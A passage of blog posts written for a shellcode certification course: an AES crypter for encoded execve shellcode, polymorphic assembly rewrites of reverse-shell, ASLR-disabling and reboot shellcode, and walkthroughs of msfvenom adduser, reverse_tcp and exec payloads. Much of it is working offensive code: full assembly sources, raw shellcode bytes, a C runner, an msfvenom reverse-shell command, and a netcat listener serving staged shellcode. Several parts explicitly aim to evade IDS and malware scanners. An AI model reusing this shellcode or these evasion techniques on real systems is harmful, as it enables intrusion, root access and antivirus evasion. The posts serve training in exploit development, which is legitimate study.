SLAE Assignment #7 – Create a custom crypter

Github link:  SLAE Assignment #7

For this final assignment, I decided that I wanted to add to the functionality of my custom encoder/egghunter combo by modifying my shconfig.py program to encrypt the decoder/egghunter stub.

For the AES implementation, I decided to utilize the CBC method using the implementation written by kokke.

The usage instructions below will produce the final shellcode.c output which you then compile with GCC and run.

Dependencies

  • Python 3.5+
  • NASM
  • GCC

File dependencies:

  • aes.c
  • aes.h
  • bencoder.nasm
  • compile.sh
  • shconfig.py

Usage

  1. ./compile.sh bencoder
    This uses NASM to compile the assembly source for the encoder.
  2. ./bencoder
    This should produce three files: enc.hex, key.hex, and raw.hex.
    enc.hex contains the encoded shellcode bytes
    key.hex contains the key used by the decoder stub for the encoded shellcode bytes
    raw.hex contains the original shellcode that was encoded by ./bencoder
  3. ./shconfig.py -e <egg value> -f asm –encrypt_with_key <key for AES encryption>
    <egg value>: This should be 4 valid hexadecimal characters only
    <key for AES encryption>: This is the key you are using to encrypt the bytes which comprise the decoder stub & egghunter
  4. gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
  5. ./shellcode

Explanation of files

bencoder.nasm (The custom encoder):
This assembly program encodes the execve-stack shellcode by XOR’ing each byte with a new pseudorandom byte obtained from the Intel ‘rdrand’ CPU instruction. This creates a key to decode the execve-stack shellcode.
It writes the pseudorandom bytes obtained by the ‘rdrand’ instruction into the ‘key.hex’ file, the encoded bytes into the ‘enc.hex’ file, and the original execve-stack shellcode bytes into the ‘raw.hex’ file.

shconfig.py:
(Creates, compiles and executes C source file for encryption, captures encryption program output and writes C source file for decryption):
Reads all of the binary .hex files created by the compiled bencoder.nasm program to obtain the hex values.
It then places the values into a dictionary which is keyed by the filename. The key and egg value are then combined and formatted appropriately to be placed in the C source file. The egghunter/decoder shellcode bytes are then pieced together with the ‘enc.hex’ bytes from the dictionary as well as the bytes from the egg value entered in step 2 above. The opcodes from the egghunter/decoder combo program were obtained by compiling the decoder.nasm program, and then using objdump to display the opcodes. The create_decoder_shellcode() function re-creates these opcodes based on whatever egg value was specified as well as whatever value happens to be associated with the ‘enc.hex’ key of the dictionary (named ‘byte_string_dict’) created earlier. A C source file is then written (encrypt.c) and GCC is called to compile it. The encrypt program is then executed, which outputs the variable declaration for the encrypted shellcode bytes to be used by the decryption program.
The C source file for decryption/shellcode execution is then written (shellcode.c).

encrypt.c:
This is the C source file written and compiled by the shconfig.py program which returns a string which is the variable declaration for the encrypted decoder/egghunter shellcode that contains the encoded execve() shellcode.
Compiling and then running this program will print the encrypted version of the bytes entered into the in[] uint8_t array, in the form of the variable declaration which shconfig.py places into the shellcode.c source file.

shellcode.c:
This is the C source file used to decrypt and execute the encrypted decoder/egghunter shellcode stub which will decode and then execute the execve() shellcode.

compile.sh (compilation shell script):
Uses NASM to compile the supplied assembly program.

enc.hex (encoded shellcode):
These bytes are the encoded shellcode produced by the bencoder.nasm program.

key.hex (key bytes):
These bytes serve as the key to decode the encoded shellcode.

raw.hex (raw shellcode):
This is the exeve-stack shellcode prior to encoding. Provided only as an example for examination, and not currently used by any program here.


 

1

Most of the heavy lifting here is done by shconfig.py.  Three modules are used:  argparse, subprocess, and random.  Argparse is used to handle the options sent to the program during execution, subprocess is used to execute GCC with the appropriate options for the intermediate encryption step, and random is used to get pseudorandom values for the initialization vector in the AES implementation.

shconfig starts by parsing out the arguments passed to it using argparse.  The egg that is specified is stored in a variable called “egg”, and the encryption key specified is stored in a variable called “args.encryption_key”.

The program then starts collecting information from the 3 files that were produced by the bencoder program that was written in assembly (bencoder.nasm).  Using a for loop, the actual hex bytes are stored into a dictionary (byte_string_dict), as is the count of bytes (file_byte_counts).

Next, the byte values of the egg are inserted in front of the “key” that is used to XOR against the encoded shellcode for the decoder stub.  The result is a dictionary called “eggified_key”.  An integer value called “buf_size” is set to the value which equals the number of bytes in the encoded shellcode plus a fixed value of 68, which represents the total size of the egg and decoder stub.

At this point shconfig.py now has enough information to produce the intermediate encryption files (encrypt.c & compiled ./encrypt program).  The “create_source_files” function is called with arguments: eggified_key, buf_size, args.encryption_key.

Because the aes.c program performs encryption on 16 byte chunks using the CBC method, the “create_source_files” function needs to determine how many 16 byte chunks are going to be encrypted.  It does that by checking if the “buf_size” argument passed to it is evenly divisible by 16.  If not, it performs floor division of the total number of bytes to obtain the number of 16 byte chunks, and then adds one more chunk.

String values for use in the encrypt.c program are then saved, and the initialization vector array values (uint8_t iv[]) are determined by utilizing the “randint” method from the “random” library.

More string representations of values for the variables in the encrypt.c program are then computed, and the encrypt.c file is written out to disk with all of the appropriate C declarations.

“subprocess.check_output” is used to run GCC with the following: “gcc encrypt.c -o encrypt”.

Next, “subprocess.check_output” is used to run the now-compiled ./encrypt program and store the output from the program into the “encrypted_shellcode_var” variable which will be used in the “shellcode.c” final output file.

Finally, the “create_source_files” function calls it’s own function to piece together the strings needed for the rest of the C declarations that will go into the “shellcode.c” final output file, and then it writes that file to disk, and the program terminates.

As an example, the shellcode.c file that is produced will look similar to the following:

shellcode_c

The preprocessor directives for the files to include are self-explanatory.  The defines specify that we are using CBC mode only, and not using ECB mode.

Variable declarations:

key[] :  The key used for decryption.

iv[] :  The initialization vector value that was produced with the help of the “randint” method in the “random” library.

buffer[96]:  This is the buffer used for decryption.  The fixed size was dynamically generated by the aforementioned “buf_size” integer variable, representing the total number of bytes for the encoded shellcode, egg, and decoder stub.

the_key[] :  The key used for decoding after decryption, prepended with the egg value that the decoder stub searches for.

code[93]:  This is the array holding the actual shellcode bytes to be executed after decryption.  The fixed size was dynamically generated based on the total size of the decoder/egghunter stub (in bytes).

in[]:  This is the array that holds the encrypted shellcode bytes that are to be decrypted, which in this case is the decoder/egghunter stub shellcode bytes.

Please note that shellcode.c serves as a demonstration only, and the values will of course be different if you run your own example (as they should be!).  Naturally, if you intend on making use of this program in a more real-world use case, it would be wise to find a way to stage the encryption key somewhere in memory that makes it difficult to spot what it is without significant dynamic analysis of your code.

When shellcode.c is compiled and ran, the decoder stub/egghunter shellcode is decrypted, execution passes to those shellcode bytes, which decode the execve-stack shellcode bytes and pass execution to them.  Bam!  We have our root shell:

2

That’s it for this assignment!   This one was by far my favorite after #4, as it allowed for some creativity.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860

SLAE Assignment #6 – Create polymorphic versions of 3 different shellcodes from shell-storm

Github link to files

For this assignment I chose three existing shellcodes and used some simple techniques to make polymorphic versions of them.

  1. Shell Reverse TCP by Julien Ahrens
  2. Linux x86 ASLR Deactivation by Jean Pascal Pereira
  3. Linux Hard Reboot by gunslinger

Shell Reverse TCP (polymorphic version)

Original size:  74 bytes
Polymorphic version:  90 bytes
global _start
section .text
    _start:
        push 0x66
        pop eax
        push 0x1
        pop ebx
        xor edx, edx
        push edx
        push ebx
        push 0x2
        mov ecx, esp
        int 0x80
        xchg edx, eax
        mov al, 0x66
        push 0x101017f
        push word 0x3905
        inc ebx
        push bx
        mov ecx, esp
        push 0x10
        push ecx
        push edx
        mov ecx, esp
        inc ebx
        int 0x80
        push 0x2
        pop ecx
        xchg edx, ebx
     loop:
        mov al, 0x3f
        int 0x80
        dec ecx
        jns loop
        mov al, 0xb
        inc ecx
        mov edx, ecx
        push edx
        mov esi, 0x3B9ACA01
        mov ebx, 0xA40DF930
        sub ebx, esi
        push ebx
        mov esi, 0x3B9ACA04
        mov ebx, 0xAA042C33
        sub ebx, esi
        push ebx
        mov ebx, esp
        int 0x80

Instead of pushing the direct hex values for the shellcode onto the stack (which may be fingerprinted by IDS systems and malware scanners), the shellcode values are put onto the stack indirectly by result of the subtraction done by the SUB instruction.

Linux x86 ASLR Deactivation

Original size:  83 bytes
Polymorphic version:  104 bytes
global _start
section .text
    _start:
        xor eax, eax
        push eax
        mov eax, 0x65636170
        push eax
        add eax, 0x1F0D1117  
        sub eax, 0x11111111
        push eax
        sub eax, 0x13F9E70D
        push eax
        add eax, 0xE09EA05
        push eax
        sub eax, 0xBFD3502
        push eax
        add eax, 0x3FC42F9
        push eax
        add eax, 0x5C10114
        push eax
        add eax, 0x7FFEFF6
        push eax
        sub eax, 0x11D04551   
        add eax, 0x11111111
        push eax
        mov ebx, esp
        mov cx, 0x2bc
        xor eax, eax
        mov al, 0x8
        int 0x80
        mov ebx, eax
        push eax
        mov dx, 0x3a30
        push dx
        mov ecx, esp
        xor edx, edx
        inc edx
        mov al, 0x4
        int 0x80
        mov al, 0x6
        int 0x80
        inc eax
        int 0x80

I used a similar technique to make this simple polymorphic version as I did in the last shellcode, but in this case, I used a combination of ADD and SUB instructions to keep changing the value in the EAX register and then when the result of the calculation resulted in the shellcode bytes that were needed, I added a PUSH instruction.

Linux Hard Reboot

Original size:  33 bytes
Polymorphic version:  45 bytes
global _start
section .text
    _start:
        mov al, 0x24
        int 0x80
        xor eax, eax
        mov al, 0x58
        mov ebx, 0xdeadbeef
        xor ebx, 0x204C6042
        mov ecx, 0x14256783
        add ecx, 0x13ECB1E6
        mov edx, 0x1234567
        int 0x80
        xor eax, eax
        mov al, 0x1
        xor ebx, ebx
        int 0x80

For the polymorphic version of this shellcode, I used a combination of XOR and ADD instructions to get the values in the EBX and ECX registers that were needed without writing the values directly.

The value needed in the EBX register is 0xfee1dead.  To get that value, I wrote 0xdeadbeef to EBX, and then XOR’ed it with 0x204c6042.

The value needed in the ECX register is 0x28121969.  To achieve that value I wrote 0x14256783 to ECX and then added 0x13ecb1e6 to it.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860

SLAE Assignment #5 – Analysis of shellcode samples

Github link to files

This assignment required analyzing the functionality of 3 shellcode samples created with msfvenom for linux/x86 using GDB/Ndisasm/Libemu.

The three that will be analyzed are as follows:

  1. linux/x86/adduser
  2. linux/x86/shell/reverse_tcp
  3. linux/x86/exec

Linux/x86/adduser

msfvenom -p linux/x86/adduser USER=gibson PASS=leetsauce R | hexdump -v -e '"\\\x" 1/1 "%02x"'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 93 bytes

output: \x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x67\x69\x62\x73\x6f\x6e\x3a\x41\x7a\x79\x4c\x47\x61\x2f\x47\x30\x31\x62\x55\x4d\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80

This raw shellcode will go into our skeleton C file, to be compiled with stack execution allowed:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x67\x69\x62\x73\x6f\x6e\x3a\x41\x7a\x79\x4c\x47\x61\x2f\x47\x30\x31\x62\x55\x4d\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80";

main()
{
                printf("Shellcode Length:  %d\n", strlen(shellcode));
                int (*ret)() = (int(*)())shellcode;
                ret();
}

To make analysis in GDB easier during debugging, I use the following setup for display preferences:

break *&shellcode
set disassembly-flavor intel
run
display /x $eax
display /x $ebx
display /x $ecx
display /x $edx
display /x $esp
define hook-stop
disassemble $eip,+20
end

First up is a setup for syscall 0x46 which is sys_setreuid16, which oddly enough I cannot seem to find a man page for, but appears to be the same as setreuid():

(gdb) disassemble
Dump of assembler code for function shellcode:
=> 0x80002040 <+0>:            xor    ecx,ecx
   0x80002042 <+2>:            mov    ebx,ecx
   0x80002044 <+4>:            push   0x46
   0x80002046 <shellcode+6>:   pop    eax
   0x80002047 <shellcode+7>:   int    0x80

ECX is zeroed out and moved into the EBX register, which means that both EBX and ECX are 0.  When setreuid() is called, the real & effective user IDs are set to 0, or the root user.

=> 0x80002049 <shellcode+9>:              push   0x5
   0x8000204b <shellcode+11>:             pop    eax
   0x8000204c <shellcode+12>:             xor    ecx,ecx
   0x8000204e <shellcode+14>:             push   ecx
   0x8000204f <shellcode+15>:             push   0x64777373
   0x80002054 <shellcode+20>:             push   0x61702f2f
   0x80002059 <shellcode+25>:             push   0x6374652f

Next, 0x5 is put into the EAX register via a push/pop, the ECX register is zeroed out, and 12 bytes are pushed onto the stack.

Those 12 bytes equate to:  /etc//passwd which provides a bit of insight into the fact that something is going to happen with this file.

=> 0x8000205e <shellcode+30>:            mov    ebx,esp
   0x80002060 <shellcode+32>:            inc    ecx
   0x80002061 <shellcode+33>:            mov    ch,0x4
   0x80002063 <shellcode+35>:            int    0x80
   0x80002063 in shellcode ()
1: /x $eax = 0x5
2: /x $ebx = 0xbffff2ec
3: /x $ecx = 0x401

Next, the open() syscall (0x5) is setup with the current stack pointer saved into the ebx register and ECX set to 401 via the move of 0x4 to the high byte of the CX register (CH).  The stack currently has that 12 bytes that correspond to the null-terminated  /etc//passwd, which is the first argument to the open syscall (filename).  The second argument is the integer value that corresponds to the flags.  Since that value is 401, we can peruse the fcntl.h file to see what that equates to.  In this case, 0400 is 0_NOCTTY, and 01 is 0_WRONLY.  So we have the O_WRONLY and 0_NOCTTY flags set for the open() call.

After the syscall, we can see that 0x3 was moved into the EAX register, which is our filehandle for any future syscalls on this file:

0x80002065 in shellcode ()
1: /x $eax = 0x3
2: /x $ebx = 0xbffff2ec
3: /x $ecx = 0x401

Next, EBX and EAX are swapped, and we execute a call at 0x79 bytes from the entry point:

=> 0x80002065 <shellcode+37>:            xchg   ebx,eax
   0x80002066 <shellcode+38>:            call   0x8000208f <shellcode+79>

An interesting thing happens next – the program exits with a return code of 3.  If we look at the last instruction, which was a CALL to the location which is 79 bytes away from the beginning we see that it appears to be an invalid location:

=> 0x80002066 <shellcode+38>:    call   0x8000208f <shellcode+79>
... 
   0x8000208e <+78>:             or     bl,BYTE PTR [ecx-0x75]
   0x80002091 <+81>:             push   ecx
   0x80002092 <+82>:             cld   
   0x80002093 <+83>:             push   0x4
   0x80002095 <+85>:             pop    eax
   0x80002096 <+86>:             int    0x80

The next valid instruction is at 78 bytes.  So what is happening when we jump to 79 bytes?

(gdb) x/8xb 0x8000208f
0x8000208f <shellcode+79>:  0x59    0x8b    0x51    0xfc     0x6a     0x04     0x58     0xcd

Jumping to this location would resume execution at 0x8000208f starting with opcode 0x59.

By setting the breakpoint at *0x8000208f, we can see the instructions re-aligned accordingly:

=> 0x8000208f <shellcode+79>:             pop    ecx
   0x80002090 <shellcode+80>:             mov    edx,DWORD PTR [ecx-0x4]
   0x80002093 <shellcode+83>:             push   0x4
   0x80002095 <shellcode+85>:             pop    eax
   0x80002096 <shellcode+86>:             int    0x80
   0x80002098 <shellcode+88>:             push   0x1
   0x8000209a <shellcode+90>:             pop    eax
   0x8000209b <shellcode+91>:             int    0x80

After popping 4 bytes off the stack into ECX, we get the following for our register states:

0x80002090 in shellcode ()
1: /x $eax = 0xbffff2ec
2: /x $ebx = 0x3
3: /x $ecx = 0x8000206b
4: /x $edx = 0xb7fb3870

This looks interesting.  The value in ECX appears to refer to a location in the .text section where executable code goes.

The next instruction is to move the value pointed to by ECX-4 into the EDX register, which gives us the following register states:

0x80002093 in shellcode ()
1: /x $eax = 0xbffff2ec
2: /x $ebx = 0x3
3: /x $ecx = 0x8000206b
4: /x $edx = 0x24
5: /x $esp = 0xbffff2ec

The value of 0x24 was put into the EDX register, and our next two instructions store the value of 0x4 into the EAX register before making a syscall.

=> 0x80002093 <shellcode+83>:            push   0x4
   0x80002095 <shellcode+85>:            pop    eax
   0x80002096 <shellcode+86>:            int    0x80
   0x80002098 <shellcode+88>:            push   0x1
   0x8000209a <shellcode+90>:            pop    eax
   0x8000209b <shellcode+91>:            int    0x80

Ok, now things are coming together.  Syscall 0x4 is Write().  For this syscall, the EBX register stores the filehandle to write to, the ECX register specifies a pointer to a memory location, and the EDX register specifies the count of bytes.  Based on our register states, we can see that this has the following effect:  Write 0x24 bytes to filehandle 0x3 at memory location 0x8000206b.  This would put whatever is stored between 0x8000206b and 0x8000208f into filehandle 0x3 (/etc//passwd)

A good bet here would be that the text to be written to /etc//passwd is stored in these bytes.  Let’s look at the raw hex values at these instructions, which should be a total of 36 bytes.

(gdb) x/36xb 0x8000206b
0x8000206b <shellcode+43>: 0x67     0x69     0x62     0x73     0x6f     0x6e     0x3a     0x41
0x80002073 <shellcode+51>: 0x7a     0x79     0x4c     0x47     0x61     0x2f     0x47     0x30
0x8000207b <shellcode+59>: 0x31     0x62     0x55     0x4d     0x3a     0x30     0x3a     0x30
0x80002083 <shellcode+67>: 0x3a     0x3a     0x2f     0x3a     0x2f     0x62     0x69     0x6e
0x8000208b <shellcode+75>: 0x2f     0x73     0x68     0x0a

A quick conversion from hex to ascii gives us the interesting string:

gibson:AzyLGa/@01bUM:0:0::/:/bin/sh

Continuing the execution in GDB after the syscall results in 0x24 being put into EAX, which is the number of bytes that were written.  The last three instructions set up the exit() syscall, which leaves a return code of 3 (which is what is left in the EBX register.

Reviewing /etc/passwd shows that the string:  “gibson:AzyLGa/@01bUM:0:0::/:/bin/sh” was written to the end of the file!

So this example demonstrates a situation where data is stored in the .text section with a clever jump instruction to avoid having it executed as instruction opcodes!


linux/x86/shell/reverse_tcp

Disassembly using ndisasm:  msfvenom -p linux/x86/shell/reverse_tcp LHOST=172.16.1.103 LPORT=4444 R | ndisasm -u -
Dot graph via Libemu:  msfvenom -p linux/x86/shell/reverse_tcp LHOST=172.16.1.103 LPORT=4444 R | sctest -S -s 10000 -vv -G reverse_tcp.dot

1

This example involves working with the socketcall() syscall, which has several steps, depending on what operations need to be performed.  First, the socket object itself must be created, and that is what we see happening in the first part of this shellcode:

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  B066              mov al,0x66
0000000B  89E1              mov ecx,esp
0000000D  CD80              int 0x80

The first section of this shellcode begins with the zeroing of the EBX register.  EAX contains the entry point memory address, and the next instruction multiplies EAX with EBX, which nets a 0 in EAX, which effectively zeros EAX and EDX.

Registers:
EAX = 0,  EBX = 0,  ECX = ?,  EDX = 0

A zero is pushed onto the stack via the EBX register, EBX is incremented to 1, then the 1 is pushed onto the stack, followed by the byte value 0x2.

Registers:
EAX = 0,  EBX = 0x1, ECX = ?, EDX = 0

Stack:
02  00  00  00  01  00  00  00  00

Next, the AL register is set to 0x66 and a pointer to the top of the stack is put into the ECX register in preparation for the socket() syscall.

Registers:
EAX = 0x66,  EBX = 0x1, ECX = 0xbffff2e0 , EDX = 0

Stack:
02  00  00  00  01  00  00  00  00

After the syscall is executed, we are into the second section of shellcode, where we execute a connect() with our socket object.

2

0000000F  97                xchg eax,edi
00000010  5B                pop ebx
00000011  68AC100167        push dword 0x670110ac
00000016  680200115C        push dword 0x5c110002
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  50                push eax
00000021  51                push ecx
00000022  57                push edi
00000023  89E1              mov ecx,esp
00000025  43                inc ebx
00000026  CD80              int 0x80

Registers:
EAX = 0x3,  EBX = 0x1, ECX = 0xbffff2e0 , EDX = 0, ESP = 0xbffff2e0

Stack:
02  00  00  00  01  00  00  00  00

The first two instructions exchanges the socket handle in EAX for the value currently stored in the EDI register and pops the 0x2 off the stack into the EBX register.

Registers:
EAX = 0xb7fb2000,  EBX = 0x2, ECX = 0xbffff2e0 , EDX = 0,  EDI = 0x3, ESP = 0xbffff2e4

Stack:
01  00  00  00  00

Next, a total of 8 bytes of data are pushed onto the stack with two push instructions:

Registers:
EAX = 0xb7fb2000,  EBX = 0x2, ECX = 0xbffff2e0 , EDX = 0,  EDI = 0x3, ESP = 0xbffff2dc

Stack:
02  00  11  5C  AC  10  01  67  01  00  00  00  00

The current stack pointer is then loaded into the ECX register:

Registers:
EAX = 0xb7fb2000,  EBX = 0x2, ECX = 0xbffff2dc , EDX = 0,  EDI = 0x3, ESP = 0xbffff2dc

Stack:
02  00  11  5C  AC  10  01  67  01  00  00  00  00

EAX is then set to 0x66 via a quick push byte instruction, and then the values of EAX, ECX, and EDI are pushed onto the stack:

Registers:
EAX = 0x66,  EBX = 0x2, ECX = 0xbffff2dc , EDX = 0,  EDI = 0x3, ESP = 0xbffff2d0

Stack:
03  00  00  00  DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

The next two instructions set up the socket call for connect() by moving the current stack pointer into the ECX register and setting EBX to 0x3 by incrementing the current value by 1.

Registers:
EAX = 0x66,  EBX = 0x3, ECX = 0xbffff2d0 , EDX = 0,  EDI = 0x3, ESP = 0xbffff2d0

Stack:
03  00  00  00  DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

After the connect() syscall, EAX is set to 0 and the remaining values remain unchanged.

3

00000028  B207              mov dl,0x7
0000002A  B900100000        mov ecx,0x1000
0000002F  89E3              mov ebx,esp
00000031  C1EB0C            shr ebx,byte 0xc
00000034  C1E30C            shl ebx,byte 0xc
00000037  B07D              mov al,0x7d
00000039  CD80              int 0x80

Registers:
EAX = 0x0,  EBX = 0x3, ECX = 0xbffff2d0 , EDX = 0,  EDI = 0x3, ESP = 0xbffff2d0

Stack:
03  00  00  00  DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

The first three instructions move 0x7 into the DL register, 0x1000 into the ECX register, and the current stack pointer into EBX.

Registers:
EAX = 0x0,  EBX = 0xbffff2d0, ECX = 0x1000 , EDX = 0x7,  EDI = 0x3, ESP = 0xbffff2d0

Stack:
03  00  00  00  DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

The SHR instruction coming next divides EBX by 2, 0xC times (12 times).

Registers:
EAX = 0x0,  EBX = 0xbffff, ECX = 0x1000 , EDX = 0x7,  EDI = 0x3, ESP = 0xbffff2d0

Stack:
03  00  00  00  DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

The SHL instruction following SHR then multiplies EBX by 2, 0xC times (12 times).

Registers:
EAX = 0x0,  EBX = 0xbffff000, ECX = 0x1000 , EDX = 0x7,  EDI = 0x3, ESP = 0xbffff2d0

Stack:
03  00  00  00  DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

The value 0x7D is then moved into the AL register and the mprotect() syscall is invoked, which sets the EAX register to 0 after invokation.

Registers:
EAX = 0,  EBX = 0xbffff000, ECX = 0x1000 , EDX = 0x7,  EDI = 0x3, ESP = 0xbffff2d0

Stack:
03  00  00  00  DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

Here is the last set of instructions:

0000003B  5B                pop ebx
0000003C  89E1              mov ecx,esp
0000003E  99                cdq
0000003F  B60C              mov dh,0xc
00000041  B003              mov al,0x3
00000043  CD80              int 0x80
00000045  FFE1              jmp ecx

The last section of the shellcode starts by popping off 0x3 into the EBX register and setting ECX to the value of the current stack pointer.

Registers:
EAX = 0,  EBX = 0x3, ECX = 0xbffff2d4, EDX = 0x7,  EDI = 0x3, ESP = 0xbffff2d4

Stack:
DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

Next, EAX is converted to a 64 bit quadword via the CDW instruction.

Registers:
EAX = 0,  EBX = 0x3, ECX = 0xbffff2d4, EDX = 0x0,  EDI = 0x3, ESP = 0xbffff2d4

Stack:
DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

The next two instructions move 0xC into the DH register and 0x3 into the AL register.

Registers:
EAX = 0x3,  EBX = 0x3, ECX = 0xbffff2d4, EDX = 0x0c00,  EDI = 0x3, ESP = 0xbffff2d4

Stack:
DC  F2  FF  BF  66  00  00  00  02  00  11  5C  AC  10  01  67  01  00  00  00  00

The read() syscall is then invoked, with the socket specified as the filehandle, the stack pointer as the buffer, and 0xC00 bytes (3072 bytes) to be read.

At this point the socket connection reads from the socket where I’ve piped a staged execve shellcode to be sent via netcat from the attacker machine.  I’ve saved the file in raw binary as you can see from running it through xxd:

#xxd second.raw
00000000: 31c0 5068 6261 7368 6862 696e 2f68 2f2f  1.Phbashhbin/h//
00000010: 2f2f 89e3 5089 e253 89e1 b00b cd80       //..P..S......

#nc -lvp 4444 < second.raw

listening on [any] 4444 ...
connect to [172.16.1.103] from kali [172.16.1.103] 47554
Shellcode Length:  24
root@kali:/media/sf_SLAE/SLAE-Module1/Module-1/SLAE-Code/SLAE/Shellcode/Certification/5/finals#

Now we’ve got our reverse tcp shell.


linux/x86/exec

Let’s look at this under ndisasm to see the actual instructions, and Libemu to see the call graph:

msfvenom -p linux/x86/exec CMD=ls | ndisasm -u –
msfvenom -p linux/x86/exec CMD=ls R | sctest -S -s 10000 -vv -G exec.dot

ndisasm:

00000000  6A0B           push byte +0xb
00000002  58             pop eax
00000003  99             cdq
00000004  52             push edx
00000005  66682D63       push word 0x632d
00000009  89E7           mov edi,esp
0000000B  682F736800     push dword 0x68732f
00000010  682F62696E     push dword 0x6e69622f
00000015  89E3           mov ebx,esp
00000017  52             push edx
00000018  E803000000     call dword 0x20
0000001D  6C             insb
0000001E  7300           jnc 0x20
00000020  57             push edi
00000021  53             push ebx
00000022  89E1           mov ecx,esp
00000024  CD80           int 0x80

1

At the beginning of the instructions, the byte 0xB is pushed onto the stack and then popped off into the EAX register.  Opcode 99 (cdq/cwd) will extend the size of the register.

Registers:
EAX = 0xB,  EBX = <unset>, ECX = <unset>, EDX = 0x0,  ESP = 0xbffff2ec

Stack:
<unset>

Next comes a push of the zeroed-out EDX register, a push of a two-byte word 0x632D onto the stack, then the stack pointed is put into the EDI register:

Registers:
EAX = 0xB, EBX = <unset>, ECX = <unset>, EDX = 0x0,  EDI = 0xbffff2e6, ESP = 0xbffff2e6

Stack:
2d  63  00  00  00  00

Now we push some bytes onto the stack that should seem pretty familiar at this point:  2f 62 69 6e 2f 73 68, which when converted to ASCII gives you “/bin/sh”.

Registers:
EAX = 0xB, EBX = <unset>, ECX = <unset>, EDX = 0x0,  EDI = 0xbffff2e6, ESP = 0xbffff2e6

Stack:
2f  62  69  6e  2f  73  68  00  2d  63  00  00  00  00

Next the stack pointer is placed into the EBX register and the zeroed out EDX register is pushed onto the stack:

Registers:
EAX = 0xB, EBX = 0xbffff2de, ECX = <unset>, EDX = 0x0,  EDI = 0xbffff2e6, ESP = 0xbffff2da

Stack:
00  00  00  00  2f  62  69  6e  2f  73  68  00  2d  63  00  00  00  00

Next, we have a call instruction which conveniently puts the address for the null-terminated “ls” command (0x63, 0x73, 0x00) bytes which come next onto the stack:

Registers:
EAX = 0xB, EBX = 0xbffff2de, ECX = <unset>, EDX = 0x0,  EDI = 0xbffff2e6, ESP = 0xbffff2d6

Stack:
6c  73  00  00  00  00  00  2f  62  69  6e  2f  73  68  00  2d  63  00  00  00  00

The EDI and EBX registers are then pushed onto the stack, and the current stack pointer is moved into the ECX register:

Registers:
EAX = 0xB, EBX = 0xbffff2de, ECX = 0xbffff2ce, EDX = 0x0,  EDI = 0xbffff2e6, ESP = 0xbffff2ce

Stack:
bf  ff  f2  de  bf  ff  f2  e6  6c  73  00  00  00  00  00  2f  62  69  6e  2f  73  68  00  2d  63  00  00  00  00

Finally, execve() is called via syscall.  EAX contains the syscall number (0xb), EBX is a pointer to the memory location with the filename (0xbffff2de), ECX is a pointer to a memory location with the arguments to the filename (0xbffff2ce), and finally EDX is a pointer to the memory location which contains environment values, which in this case is zero.  So the “ls” command is finally executed as seen below:

2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860

SLAE Assignment #4 – Create a custom encoding scheme

Github link to files

Assignment 4 was one of my favorites as it allowed some creativity when creating an encoding scheme to obfuscate the real shellcode.

Explanation of files

bencoder.nasm (The custom encoder):
This assembly program encodes the execve-stack shellcode by XOR’ing each byte with a new pseudorandom byte obtained from the Intel ‘rdrand’ CPU instruction. This creates a key to decode the execve-stack shellcode.  It writes the pseudorandom bytes obtained by the ‘rdrand’ instruction into the ‘key.hex’ file, the encoded bytes into the ‘enc.hex’ file, and the original execve-stack shellcode bytes into the ‘raw.hex’ file.

shconfig4.py (Creates the C source file):
Reads all of the binary .hex files created by the compiled bencoder.nasm program to obtain the hex values.  It then places the values into a dictionary which is keyed by the filename. The key and egg value are then combined and formatted appropriately to be placed in the C source file. The egghunter/decoder shellcode bytes are then pieced together with the ‘enc.hex’ bytes from the dictionary as well as the bytes from the egg value entered in step 2 above.

The opcodes from the egghunter/decoder combo program were obtained by compiling the decoder.nasm program, and then using objdump to display the opcodes. The create_decoder_shellcode() function re-creates these opcodes based on whatever egg value was specified as well as whatever value happens to be in the ‘enc.hex’ key of the dictionary (named ‘byte_string_dict’) created earlier. Finally, the program generates
a C source file and prints it to standard output.

decoder.nasm (Egghunter & Decoder stub):
